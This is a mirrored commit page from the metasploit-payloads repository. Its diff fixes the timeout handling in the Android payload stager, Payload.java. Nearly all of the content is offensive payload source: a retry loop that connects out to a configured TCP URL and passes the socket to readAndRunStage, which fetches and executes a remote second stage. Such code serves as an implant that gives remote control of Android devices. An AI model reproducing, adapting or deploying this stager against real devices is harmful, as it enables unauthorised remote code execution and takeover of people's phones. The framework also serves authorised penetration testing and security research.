github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-20 20:37:27 +01:00
Code Releases Activity

Land #67 don't crash when timeout settings are nil

Browse Source 
Fix handling the timeout settings generated by android/shell/reverse_tcp
This commit is contained in:
Adam Cammack 2016-02-03 17:56:53 -06:00
commit 6f9f3e4ee9
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
1 changed files with 22 additions and 17 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

39
java/androidpayload/app/src/com/metasploit/stage/Payload.java
View File

@ -59,26 +59,31 @@ public class Payload {
long commTimeout;
long retryTotal;
long retryWait;
String[] timeouts = TIMEOUTS.substring(4).trim().split("-");
try {
sessionExpiry = Integer.parseInt(timeouts[0]);
commTimeout = Integer.parseInt(timeouts[1]);
retryTotal = Integer.parseInt(timeouts[2]);
retryWait = Integer.parseInt(timeouts[3]);
} catch (NumberFormatException e) {
return;
}
long currentTime = -1;
long payloadStart = System.currentTimeMillis();
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
String timeoutString = TIMEOUTS.substring(4).trim();
if (timeoutString.length() > 3) {
String[] timeouts = timeoutString.split("-");
try {
sessionExpiry = Integer.parseInt(timeouts[0]);
commTimeout = Integer.parseInt(timeouts[1]);
retryTotal = Integer.parseInt(timeouts[2]);
retryWait = Integer.parseInt(timeouts[3]);
} catch (NumberFormatException e) {
return;
}
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
currentTime = System.currentTimeMillis();
}
String url = URL.substring(4).trim();
// technically we need to check for session expiry here as well.
while (System.currentTimeMillis() < payloadStart + retry_total &&
System.currentTimeMillis() < session_expiry) {
while (currentTime < payloadStart + retry_total &&
currentTime < session_expiry) {
try {
if (url.startsWith("tcp")) {
runStagefromTCP(url);
@ -94,6 +99,7 @@ public class Payload {
} catch (InterruptedException e) {
break;
}
currentTime = System.currentTimeMillis();
}
}
@ -127,7 +133,6 @@ public class Payload {
}
if (sock != null) {
sock.setSoTimeout(500);
DataInputStream in = new DataInputStream(sock.getInputStream());
OutputStream out = new DataOutputStream(sock.getOutputStream());
readAndRunStage(in, out, parameters);